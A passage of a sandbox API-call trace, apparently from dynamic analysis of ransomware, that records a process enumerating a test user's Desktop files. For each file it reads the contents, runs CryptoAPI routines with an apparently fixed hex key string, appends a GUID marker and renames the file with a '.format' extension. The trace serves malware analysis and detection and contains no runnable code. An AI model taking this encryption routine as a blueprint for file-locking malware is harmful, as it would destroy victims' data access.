lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.080] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xcb2e, lpOverlapped=0x0) returned 1 [0067.080] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.080] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.080] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.080] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.081] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.081] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.081] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.081] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.081] GetLastError () returned 0x0 [0067.081] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.081] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.082] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xcb2e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.082] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.082] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.082] CloseHandle (hObject=0x5c8) returned 1 [0067.083] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kmiNoteKSNX.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kminoteksnx.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\kmiNoteKSNX.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\kminoteksnx.bmp.format")) returned 1 [0067.085] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd65b9600, ftCreationTime.dwHighDateTime=0x1d4cd93, ftLastAccessTime.dwLowDateTime=0x11f69860, ftLastAccessTime.dwHighDateTime=0x1d4c905, ftLastWriteTime.dwLowDateTime=0x11f69860, ftLastWriteTime.dwHighDateTime=0x1d4c905, nFileSizeHigh=0x0, nFileSizeLow=0xc9de, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PbgTn4O2W.mp3", cAlternateFileName="PBGTN4~1.MP3")) returned 1 [0067.085] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PbgTn4O2W.mp3") returned=".mp3" [0067.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PbgTn4O2W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pbgtn4o2w.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.085] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=51678) returned 1 [0067.085] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.087] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc9b8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.087] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.088] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xc9de, lpOverlapped=0x0) returned 1 [0067.088] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.088] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.088] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.088] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.089] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.089] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.089] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.089] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.089] GetLastError () returned 0x0 [0067.089] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.089] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.089] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xc9de, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.089] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.089] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.089] CloseHandle (hObject=0x5c8) returned 1 [0067.090] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PbgTn4O2W.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pbgtn4o2w.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PbgTn4O2W.mp3.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pbgtn4o2w.mp3.format")) returned 1 [0067.091] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafaab830, ftCreationTime.dwHighDateTime=0x1d4cc2e, ftLastAccessTime.dwLowDateTime=0xab88e520, ftLastAccessTime.dwHighDateTime=0x1d4d498, ftLastWriteTime.dwLowDateTime=0xab88e520, ftLastWriteTime.dwHighDateTime=0x1d4d498, nFileSizeHigh=0x0, nFileSizeLow=0x61cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q28Inf3N_0B4jbpxb7Nm.bmp", cAlternateFileName="Q28INF~1.BMP")) returned 1 [0067.092] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q28Inf3N_0B4jbpxb7Nm.bmp") returned=".bmp" [0067.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q28Inf3N_0B4jbpxb7Nm.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q28inf3n_0b4jbpxb7nm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.092] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=25035) returned 1 [0067.092] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.093] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x61a5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.093] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.094] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x61cb, lpOverlapped=0x0) returned 1 [0067.094] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.094] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.094] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.094] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0067.095] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.095] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.095] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.095] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.095] GetLastError () returned 0x0 [0067.095] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.095] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0067.095] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x61cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.095] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.096] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.096] CloseHandle (hObject=0x5c8) returned 1 [0067.096] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q28Inf3N_0B4jbpxb7Nm.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q28inf3n_0b4jbpxb7nm.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Q28Inf3N_0B4jbpxb7Nm.bmp.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\q28inf3n_0b4jbpxb7nm.bmp.format")) returned 1 [0067.098] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1e8b1c0, ftCreationTime.dwHighDateTime=0x1d4c538, ftLastAccessTime.dwLowDateTime=0xf3bc0a50, ftLastAccessTime.dwHighDateTime=0x1d4d594, ftLastWriteTime.dwLowDateTime=0xf3bc0a50, ftLastWriteTime.dwHighDateTime=0x1d4d594, nFileSizeHigh=0x0, nFileSizeLow=0xcfa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sBE3Xge.mkv", cAlternateFileName="")) returned 1 [0067.098] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sBE3Xge.mkv") returned=".mkv" [0067.098] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sBE3Xge.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sbe3xge.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.098] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=3322) returned 1 [0067.098] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.099] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.099] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.100] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xcfa, lpOverlapped=0x0) returned 1 [0067.100] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.100] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.100] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.100] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.101] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.101] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.101] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.101] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.101] GetLastError () returned 0x0 [0067.101] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.101] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.101] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xcfa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.101] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.101] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.101] CloseHandle (hObject=0x5c8) returned 1 [0067.102] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sBE3Xge.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sbe3xge.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sBE3Xge.mkv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sbe3xge.mkv.format")) returned 1 [0067.103] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c47a450, ftCreationTime.dwHighDateTime=0x1d4ce35, ftLastAccessTime.dwLowDateTime=0x5a2c8ba0, ftLastAccessTime.dwHighDateTime=0x1d4c7af, ftLastWriteTime.dwLowDateTime=0x5a2c8ba0, ftLastWriteTime.dwHighDateTime=0x1d4c7af, nFileSizeHigh=0x0, nFileSizeLow=0xf458, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="T-5.mkv", cAlternateFileName="")) returned 1 [0067.103] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-5.mkv") returned=".mkv" [0067.103] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t-5.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.103] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=62552) returned 1 [0067.104] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.105] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf432, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.105] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.106] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0067.106] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xf458, lpOverlapped=0x0) returned 1 [0067.106] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.106] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.106] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.106] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.107] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.107] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.107] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.107] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.107] GetLastError () returned 0x0 [0067.107] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.107] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.108] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xf458, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.108] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.108] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.108] CloseHandle (hObject=0x5c8) returned 1 [0067.109] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-5.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t-5.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-5.mkv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t-5.mkv.format")) returned 1 [0067.110] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54e610, ftCreationTime.dwHighDateTime=0x1d4c679, ftLastAccessTime.dwLowDateTime=0x47fa33b0, ftLastAccessTime.dwHighDateTime=0x1d4cd59, ftLastWriteTime.dwLowDateTime=0x47fa33b0, ftLastWriteTime.dwHighDateTime=0x1d4cd59, nFileSizeHigh=0x0, nFileSizeLow=0x3e5d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ti-oi3g-0V2.gif", cAlternateFileName="TI-OI3~1.GIF")) returned 1 [0067.110] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ti-oi3g-0V2.gif") returned=".gif" [0067.110] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ti-oi3g-0V2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ti-oi3g-0v2.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.110] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=15965) returned 1 [0067.110] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.112] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3e37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.112] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.113] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x3e5d, lpOverlapped=0x0) returned 1 [0067.113] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.113] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.113] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.113] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac4e0) returned 1 [0067.114] CryptCreateHash (in: hProv=0x6ac4e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.114] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.114] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.114] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.114] GetLastError () returned 0x0 [0067.114] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.114] CryptReleaseContext (hProv=0x6ac4e0, dwFlags=0x0) returned 1 [0067.114] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x3e5d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.114] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.114] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.114] CloseHandle (hObject=0x5c8) returned 1 [0067.115] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ti-oi3g-0V2.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ti-oi3g-0v2.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Ti-oi3g-0V2.gif.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ti-oi3g-0v2.gif.format")) returned 1 [0067.116] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6166710, ftCreationTime.dwHighDateTime=0x1d4d592, ftLastAccessTime.dwLowDateTime=0xd6730d90, ftLastAccessTime.dwHighDateTime=0x1d4c9cd, ftLastWriteTime.dwLowDateTime=0xd6730d90, ftLastWriteTime.dwHighDateTime=0x1d4c9cd, nFileSizeHigh=0x0, nFileSizeLow=0x1acf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="W_6RWJXn.pdf", cAlternateFileName="")) returned 1 [0067.116] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W_6RWJXn.pdf") returned=".pdf" [0067.116] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W_6RWJXn.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w_6rwjxn.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.116] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=6863) returned 1 [0067.116] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.118] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1aa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.118] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.119] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x1acf, lpOverlapped=0x0) returned 1 [0067.119] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.119] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.119] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.119] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | 